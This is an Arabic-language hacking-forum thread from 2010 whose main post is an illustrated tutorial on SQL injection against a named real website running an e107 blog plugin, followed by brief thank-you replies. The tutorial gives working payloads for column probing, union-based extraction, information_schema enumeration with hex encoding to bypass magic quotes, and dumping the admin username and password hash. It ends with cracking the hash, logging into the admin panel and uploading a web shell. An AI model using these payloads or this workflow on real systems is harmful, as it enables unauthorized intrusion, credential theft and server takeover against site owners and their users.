:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)
-   -   بالصوراستغلال ثغرات sql injectionورفع الشيل فى الاصدار الخامس+تخطى acess denied+تخطى الMagic quotes مميز (http://www.vbspiders.com/vb/t34773.html)

dolla 08-14-2010 01:19 AM

بالصوراستغلال ثغرات sql injectionورفع الشيل فى الاصدار الخامس+تخطى acess denied+تخطى الMagic quotes مميز
 


السلام عليكم ورحمة الله وبركاته النهارده هشرحلكم اكتشاف واستغلال ثغرات الحقن "sql injection"

طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-



====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================

ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة

تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت

===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================

عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query

وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده

ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن

لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب

طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه

ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..


=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================

طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-

نشوف المتغير بالموقع

http://img200.imageshack.us/img200/3962/73027532.png

طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla

الى المتغير

فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب

لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد


http://img809.imageshack.us/img809/143/86229980.png

المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..


الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d

من خلال order+by

===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================

طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم

فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا

كود:

select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"

كود:

select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"

كود:

select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"


كود:

select name,age,job from profile+order+by+4

طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!


ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب

فانا مثلا هضيف للمتغير


كود:

macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود

طيب نجرب


كود:

macgurublog.php?uid=3+order+by+2--

المحتوى رجع كامل .. يبقى نجرب


كود:

macgurublog.php?uid=3+order+by+3--

المحتوى رجع كامل .. يبقى نجرب ..



كود:

macgurublog.php?uid=3+order+by+4--

اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد

هم تلت عواميد .. وده كان على سبيل المثال :D افتراضى يعنى

طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها

بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب

==================================================

تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================

هجرب اول حاجة


كود:

macgurublog.php?uid=3+order+by+1--



http://img231.imageshack.us/img231/8057/53746214.png



الصفحة رجعت كاملة

طيب يبقى هخليها



كود:

macgurublog.php?uid=3+order+by+2--


http://img217.imageshack.us/img217/3029/16630806.png


محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت

هو "عمود واحد فقط"

طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام

ال union+select لحقن الquery بتاعنا .. واضافته الى الquery

الموجود بالاسكربت ...


===================================
استخدام ال union+select
==================================

طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..


كود:

macgurublog.php?uid=3+union+select+1--

وطبعا لو كان العواميد 2

كنت هضيف :-

كود:

macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف

كود:

macgurublog.php?uid=3+union+select+3--
وهكاذا :-

طيب نشوف الصورة ..



http://img341.imageshack.us/img341/9601/74884378.png


طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة


دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1

طيب نشوف

===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================

هضع مكان العمود 1 :-

كود:

concat(database(),0x3e,user(),0x3e,@@version)

طيب نفسر الحقنة :-

الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب

نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1

0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة

والاصدار


database():لاظهاراسم القاعدة

user():لاظهار اسم مستخدم القاعدة

@@version :لاظهار اصدار القاعدة :-


طيب بعد الاستغلال نشوف الصورة ...


http://img411.imageshack.us/img411/9906/83268273.png



طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا

عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع

يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول

اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول

والقواعد والعواميد ..

===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================

طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت

الى اسمها ."turkijeappartem"

هشيل رقم 1 :- واضيف: -

كود:

group_concat(table_name)

+from+information_schema.tables+where+table_schema='t

urkijeappartem'--


table_name :ده عمود الى فيه جميع اسماء جداول القاعدة

infomation_schema.tables : ده جدول tables الى يحتوى على عمود


table_name ..


turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..

وانا وضعتها بين علامة التنصيص '' لانها string اى نص


طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''

لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس

وهيكون الاستغلال كده

كود:


http://www.turkijeappartement.be/e107_plugins/macguru

blog_menu/macgurublog.php?uid=-

3+union+select+group_concat(table_name)

+from+information_schema.tables+where+table_Schema=0x

7475726B696A65617070617274656D--

نشوف الصورة ..


http://img833.imageshack.us/img833/8671/74808010.png



طيب جميل دلوقتى ظهرت لنا اسامى الجداول كلها انا دلوقتى هختار اسم الجدول

الى فيه اسم وكلمة مرور الادمن وغالبا يكون

login او admin او user

طيب اانا شفت اسم الجدول : وطلع "e107_user"

دلوقتى

عاوز اجيب جميع عواميد الجدول e107_user

هشيل رقم 1 واضع :-

كود:

group_concat(column_name)

+from+information_schema.columns+where+table_name=0x6

53130375f75736572--


informaion_schema.columns :فيه جميع اسماء العواميد


table_name=0x653130375f75736572 :- عشان اجيب جميع عواميد


الجدول e107_user وبالنسبة لى "0x653130375f75736572"

ده اسم الجدول e107_user بس بتشفير الهيكس لتخطى ال Magic Quotes

طيب الاستغلال كامل هيبقى


كود:


http://www.turkijeappartement.be/e107_plugins/macguru

blog_menu/macgurublog.php?uid=-

3+union+select+group_concat(column_name)

+from+information_schema.columns+where+table_name=0x6

53130375f75736572--


نشوف الصورة ...



http://img33.imageshack.us/img33/8222/95155533.png


ظهرت لنا جميع اسماء العواميد طيب دلوقتى بقى انا هشوف اسماء عواميد اسم المستخدم

وكلمة المرور وودجت اسمائهم

user_name و user_password

جميل وعندنا اسم الجدول الى هو :e107_user

طيب يبقى كده وصلنا .. هضيف المرة دى بدل رقم 1

كود:

concat(user_name,0x3e,user_password)

+from+e107_user--


طيب نشوف الصورة ...


http://img571.imageshack.us/img571/5906/60283064.png



جميل ظهر لنا اسم الادمن والباس مشفر


نروح دلوقتى لاى موقع فك تشفير ال md5

زى موقع :-www.md5crack.com

وبعد فك تشفير الباصورد ... نروح لمسار الادمن e107_admin

ونكتب اسم الادمن والباصورد .. تم دخول الوحة



http://img63.imageshack.us/img63/9636/37678942.png



طيب بعد مدخلت الوحة ممكن ترفع اندكسك او ترفع شيل وتخترق السيرفر كلو ..

انا قدرت ارفع شيل



http://img340.imageshack.us/img340/2007/61553502.png


تم الشرح بحمدالله ..

the sn!per 08-14-2010 03:20 AM

[align=center][/align]مشكووور عالمجهود الرائع بانتظار جديدكـ

ViRuS Qalaa 08-14-2010 03:57 AM

[align=center]thank you man [/align]

dz-fox 08-15-2010 04:42 AM

[align=center]السلام عليكم

بارك الله فيك أخي و الله معلومات قمة

تحياتي[/align]

T@gmarakT@g 08-17-2010 05:20 PM

[align=center][/align]السلام عليكم
ما شاء الله على الشرح المميز جدا
أول مرة أرى شرح بهذا التفصيل
على فكرة الدرس الأول كان في القمة
نتمنى المزيد من شروحاتك لأنها مميزة عن باقي الشروحات
تحياتي

Al!Y4N3 09-09-2010 07:39 AM

مشكووورر اخي على
الشرح بس الشرح هذا وجدتو 6 مرات في 6 منتديات عربية
و كل مرة الصور مكتوب عليهم اسم
و اسم صاحب موضوع فشكل
و الله انو لحس مخي
بس عالعموم مشكووورررر اخي و ما قصرت في الشرح
تقبل مروري

و اذا انت صاحب الموضوع الاصلي خبرني
و احلا تقييم لعيونك

Master vbspiders 09-09-2010 03:40 PM

[align=center]مشكورر على الموضوع
ينقل لقسم الحقن...
تحياتي
[/align]

دام علاء العماد 09-17-2011 12:57 PM

رد: بالصوراستغلال ثغرات sql injectionورفع الشيل فى الاصدار الخامس+تخطى acess denied+تخطى الMagic quotes مميز
 
جزاك الله خيرا يا أخي الكريم عبد الله

vpn_31 09-17-2011 01:23 PM

رد: بالصوراستغلال ثغرات sql injectionورفع الشيل فى الاصدار الخامس+تخطى acess denied+تخطى الMagic quotes مميز
 
تسلم يديك فعلأ شرح سهل عل مبتدءين :)

يحيى زكريا 10-25-2011 06:52 PM

رد: بالصوراستغلال ثغرات sql injectionورفع الشيل فى الاصدار الخامس+تخطى acess denied+تخطى الMagic quotes مميز
 
باراك الله فيك اخي
لك مني اجمل تحية


الساعة الآن 03:40 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0